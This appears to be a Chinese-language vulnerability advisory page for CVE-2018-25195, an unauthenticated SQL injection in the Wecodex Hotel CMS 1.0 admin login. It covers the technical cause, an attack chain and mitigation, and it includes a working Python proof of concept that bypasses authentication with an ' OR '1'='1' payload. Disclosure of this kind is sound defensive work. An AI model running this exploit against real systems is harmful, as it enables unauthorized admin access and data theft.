IPBUF安全漏洞报告
English
CVE-2018-25195 CVSS 8.2 高危

CVE-2018-25195 Wecodex Hotel CMS SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2018-25195
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wecodex Hotel CMS

相关标签

SQL注入认证绕过Wecodex Hotel CMS高危远程代码执行

漏洞概述

Wecodex Hotel CMS 1.0版本在管理员登录功能中存在SQL注入漏洞。攻击者无需身份认证即可利用此漏洞,通过在向index.php发送的POST请求中注入恶意SQL代码到username参数,从而绕过身份验证机制,窃取敏感数据库信息或获取未授权的管理员访问权限。该漏洞CVSS评分为8.2,属于高危漏洞,对系统机密性构成严重威胁。

技术细节

该漏洞的根本原因在于Wecodex Hotel CMS 1.0在处理登录逻辑时,未对用户输入的username参数进行严格的过滤或预编译处理。当攻击者向index.php发送带有action=processlogin的POST请求时,后端代码直接将username参数拼接到SQL查询语句中执行。攻击者可以利用这一缺陷,构造诸如' OR '1'='1之类的SQL payload,使查询逻辑永远为真,从而无需正确的密码即可通过验证。此外,通过联合查询(UNION SELECT)或盲注技术,攻击者可进一步读取数据库中的敏感数据,如用户凭证、配置信息等。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是Wecodex Hotel CMS 1.0版本,并定位管理员登录页面index.php。
STEP 2
漏洞利用
攻击者构造包含恶意SQL代码的POST请求发送至index.php?action=processlogin,在username参数中注入SQL语句。
STEP 3
认证绕过
后端数据库执行恶意SQL语句,导致登录验证逻辑失效,攻击者无需密码即可获得管理员会话。
STEP 4
数据窃取
攻击者利用管理员权限访问后台,提取敏感数据库信息或进一步控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable application target_url = "http://target-ip/index.php" # SQL Injection payload to bypass login # This payload attempts to make the SQL condition always true payload = { "action": "processlogin", "username": "' OR '1'='1' -- ", "password": "random_password" } try: # Send POST request to the login endpoint response = requests.post(target_url, data=payload) # Check if the login was successful (adjust condition based on response) if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.text): print("[+] Exploit successful! Authentication bypassed.") else: print("[-] Exploit failed or response unexpected.") except Exception as e: print(f"[!] Error: {e}")

影响范围

Wecodex Hotel CMS 1.0

防御指南

临时缓解措施
在未应用补丁前,建议通过网络访问控制列表(ACL)严格限制管理后台的访问来源IP,仅允许管理员IP访问。同时,应实施强密码策略并监控异常的登录尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表